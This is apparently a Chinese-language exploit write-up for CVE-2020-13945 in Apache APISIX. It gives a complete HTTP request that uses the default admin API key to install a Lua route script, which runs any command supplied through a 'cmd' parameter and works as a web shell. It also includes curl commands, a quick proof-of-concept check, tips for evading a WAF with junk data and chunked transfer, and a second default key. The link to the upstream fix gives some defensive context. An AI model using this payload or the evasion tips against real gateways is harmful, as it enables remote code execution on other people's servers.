CVE-2020-13945
默认的管理员Token造成的安全问题,攻击者可利用此Token访问管理员接口,通过script参数插入LUA脚本执行代码。攻击者利用Token访问到管理员接口,再通过script参数来插入任意LUA脚本并执行。
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
这个问题也是 在实际apisix弱密码当中可以使用到的 通过访问 dashboard接口,点击上游,创建上游服务,创建路由,配置路由的时候上传脚本 即可。 使用curl的方法
curl http://127.0.0.1:9080/apisix/admin/routes/123 -H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -i -d '
{
"uri": "/index.html",
"hosts": ["foo.com", "*.bar.com"],
"remote_addrs": ["127.0.0.0/8"],
"methods": ["PUT", "GET"],
"enable_websocket": true,
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:1980": 1
}
}
}'
实际进行利用的案例:https://mp.weixin.qq.com/s?__biz=MzkxMzQyMzUwMg==&mid=2247485535&idx=1&sn=8f2630cee7cedefa83da008078622e7f 绕过waf 的方式:
- 在json当中使用大量的脏数据可能会绕过阿里云的waf
- 使用分段传输 .
这个问题可以使用简单的poc进行验证
edd1c9f034335f136f87ad84b625c8f1
curl http://127.0.0.1:9080/apisix/admin/routes?apikey=edd1c9f034335f136f87ad84b625c8f1
修改的方法
https://github.com/apache/apisix/pull/2244/files#diff-62edadffc237f13dc28a694080d293a8R831 限制了外部的IP进行访问本地的AdminKey,加上了注释说明使用默认的ApiKey并不安全
启发
除了默认的 adminkey之外,我们还拥有 另外一个默认的用户的key ,但是这个用户的使用率很低 ?
4054f7cf07e344346cd3f287985e76a2
其位置位于 config.yaml 当中 或者 config-default.yaml 文件当中
其隶属于 apisix当中的用户 ,其在注释当中表明权限:只有查看配置
实际从代码当中可以看其实是 能够访问所有的Get方法的
位置位于 apisix/admin/init.lua 当中
local viewer_methods = {
get = true,
}
比较有意思的路由有
#访问的方式
curl http://127.0.0.1:9080/apisix/admin/routes?api_key=4054f7cf07e344346cd3f287985e76a2
/apisix/admin/routes
/apisix/admin/plugin_configs
是否存在新的接口 可以新增接口